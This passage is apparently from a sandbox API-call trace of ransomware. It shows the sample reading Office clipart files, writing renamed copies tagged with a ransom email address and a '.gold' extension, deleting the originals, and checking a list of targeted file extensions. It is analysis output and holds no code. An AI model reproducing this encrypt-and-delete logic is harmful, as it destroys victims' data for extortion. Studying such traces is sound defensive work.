liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.764] GetLastError () returned 0x0 [0109.764] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1748, lpOverlapped=0x0) returned 1 [0109.765] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1750, lpOverlapped=0x0) returned 1 [0109.766] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.766] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.766] SetEndOfFile (hFile=0x194) returned 1 [0109.766] CloseHandle (hObject=0x194) returned 1 [0109.766] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.766] SetEndOfFile (hFile=0x3b4) returned 1 [0109.768] CloseHandle (hObject=0x3b4) returned 1 [0109.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf")) returned 1 [0109.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0109.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0109.769] lstrlenW (lpString=".doc") returned 4 [0109.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.769] lstrlenW (lpString=".docx") returned 5 [0109.769] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.769] lstrlenW (lpString=".pdf") returned 4 [0109.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.769] lstrlenW (lpString=".xls") returned 4 [0109.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.769] lstrlenW (lpString=".xlsx") returned 5 [0109.769] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.769] lstrlenW (lpString=".ppt") returned 4 [0109.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0109.769] lstrlenW (lpString=".zip") returned 4 [0109.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.769] lstrlenW (lpString=".rar") returned 4 [0109.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.769] lstrlenW (lpString=".bz2") returned 4 [0109.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.769] lstrlenW (lpString=".7z") returned 3 [0109.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0109.769] lstrlenW (lpString=".dbf") returned 4 [0109.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0109.769] lstrlenW (lpString=".1cd") returned 4 [0109.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0109.770] lstrlenW (lpString=".jpg") returned 4 [0109.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0109.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0109.770] lstrlenW (lpString=".doc") returned 4 [0109.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.770] lstrlenW (lpString=".docx") returned 5 [0109.770] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0109.770] lstrlenW (lpString=".pdf") returned 4 [0109.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.770] lstrlenW (lpString=".xls") returned 4 [0109.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.770] lstrlenW (lpString=".xlsx") returned 5 [0109.770] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0109.770] lstrlenW (lpString=".ppt") returned 4 [0109.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0109.770] lstrlenW (lpString=".zip") returned 4 [0109.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.770] lstrlenW (lpString=".rar") returned 4 [0109.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.770] lstrlenW (lpString=".bz2") returned 4 [0109.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.770] lstrlenW (lpString=".7z") returned 3 [0109.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0109.770] lstrlenW (lpString=".dbf") returned 4 [0109.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0109.770] lstrlenW (lpString=".1cd") returned 4 [0109.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0109.770] lstrlenW (lpString=".jpg") returned 4 [0109.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.770] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.770] lstrlenW (lpString="J0152622.WMF") returned 12 [0109.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.771] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=9604) returned 1 [0109.771] CloseHandle (hObject=0x3b4) returned 1 [0109.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf")) returned 0x20 [0109.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.772] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.772] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.773] GetLastError () returned 0x0 [0109.773] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2584, lpOverlapped=0x0) returned 1 [0109.774] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2590, lpOverlapped=0x0) returned 1 [0109.775] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.775] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.775] SetEndOfFile (hFile=0x194) returned 1 [0109.775] CloseHandle (hObject=0x194) returned 1 [0109.775] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.775] SetEndOfFile (hFile=0x3b4) returned 1 [0109.777] CloseHandle (hObject=0x3b4) returned 1 [0109.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf")) returned 1 [0109.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0109.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0109.778] lstrlenW (lpString=".doc") returned 4 [0109.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.778] lstrlenW (lpString=".docx") returned 5 [0109.778] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0109.778] lstrlenW (lpString=".pdf") returned 4 [0109.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.778] lstrlenW (lpString=".xls") returned 4 [0109.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.778] lstrlenW (lpString=".xlsx") returned 5 [0109.778] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0109.778] lstrlenW (lpString=".ppt") returned 4 [0109.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0109.778] lstrlenW (lpString=".zip") returned 4 [0109.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.778] lstrlenW (lpString=".rar") returned 4 [0109.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.778] lstrlenW (lpString=".bz2") returned 4 [0109.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.778] lstrlenW (lpString=".7z") returned 3 [0109.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0109.778] lstrlenW (lpString=".dbf") returned 4 [0109.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0109.778] lstrlenW (lpString=".1cd") returned 4 [0109.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0109.778] lstrlenW (lpString=".jpg") returned 4 [0109.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0109.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0109.778] lstrlenW (lpString=".doc") returned 4 [0109.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.779] lstrlenW (lpString=".docx") returned 5 [0109.779] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0109.779] lstrlenW (lpString=".pdf") returned 4 [0109.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.779] lstrlenW (lpString=".xls") returned 4 [0109.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.779] lstrlenW (lpString=".xlsx") returned 5 [0109.779] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0109.779] lstrlenW (lpString=".ppt") returned 4 [0109.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0109.779] lstrlenW (lpString=".zip") returned 4 [0109.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.779] lstrlenW (lpString=".rar") returned 4 [0109.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.779] lstrlenW (lpString=".bz2") returned 4 [0109.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.779] lstrlenW (lpString=".7z") returned 3 [0109.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0109.779] lstrlenW (lpString=".dbf") returned 4 [0109.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0109.779] lstrlenW (lpString=".1cd") returned 4 [0109.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0109.779] lstrlenW (lpString=".jpg") returned 4 [0109.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.779] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.779] lstrlenW (lpString="J0152626.WMF") returned 12 [0109.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.780] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=26248) returned 1 [0109.780] CloseHandle (hObject=0x3b4) returned 1 [0109.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf")) returned 0x20 [0109.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.780] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.780] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.781] GetLastError () returned 0x0 [0109.781] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x6688, lpOverlapped=0x0) returned 1 [0109.783] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x6690, lpOverlapped=0x0) returned 1 [0109.784] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.784] WriteFile (in: hFile=0x194, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.784] SetEndOfFile (hFile=0x194) returned 1 [0109.784] CloseHandle (hObject=0x194) returned 1 [0109.784] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.784] SetEndOfFile (hFile=0x3b4) returned 1 [0109.786] CloseHandle (hObject=0x3b4) returned 1 [0109.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf")) returned 1 [0109.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0109.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0109.831] lstrlenW (lpString=".doc") returned 4 [0109.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.832] lstrlenW (lpString=".docx") returned 5 [0109.832] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0109.832] lstrlenW (lpString=".pdf") returned 4 [0109.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.832] lstrlenW (lpString=".xls") returned 4 [0109.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.832] lstrlenW (lpString=".xlsx") returned 5 [0109.832] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0109.832] lstrlenW (lpString=".ppt") returned 4 [0109.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0109.832] lstrlenW (lpString=".zip") returned 4 [0109.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.832] lstrlenW (lpString=".rar") returned 4 [0109.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.832] lstrlenW (lpString=".bz2") returned 4 [0109.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.832] lstrlenW (lpString=".7z") returned 3 [0109.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0109.832] lstrlenW (lpString=".dbf") returned 4 [0109.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0109.832] lstrlenW (lpString=".1cd") returned 4 [0109.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0109.832] lstrlenW (lpString=".jpg") returned 4 [0109.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0109.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0109.832] lstrlenW (lpString=".doc") returned 4 [0109.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.832] lstrlenW (lpString=".docx") returned 5 [0109.832] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0109.832] lstrlenW (lpString=".pdf") returned 4 [0109.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.832] lstrlenW (lpString=".xls") returned 4 [0109.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.832] lstrlenW (lpString=".xlsx") returned 5 [0109.832] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0109.832] lstrlenW (lpString=".ppt") returned 4 [0109.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0109.832] lstrlenW (lpString=".zip") returned 4 [0109.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.832] lstrlenW (lpString=".rar") returned 4 [0109.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.833] lstrlenW (lpString=".bz2") returned 4 [0109.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.833] lstrlenW (lpString=".7z") returned 3 [0109.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0109.833] lstrlenW (lpString=".dbf") returned 4 [0109.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0109.833] lstrlenW (lpString=".1cd") returned 4 [0109.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned 63 [0109.833] lstrlenW (lpString=".jpg") returned 4 [0109.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.833] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.833] lstrlenW (lpString="J0152690.WMF") returned 12 [0109.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0109.872] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1268) returned 1 [0109.873] CloseHandle (hObject=0x3a8) returned 1 [0109.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf")) returned 0x20 [0109.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0109.873] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.873] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0109.874] GetLastError () returned 0x0 [0109.874] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: 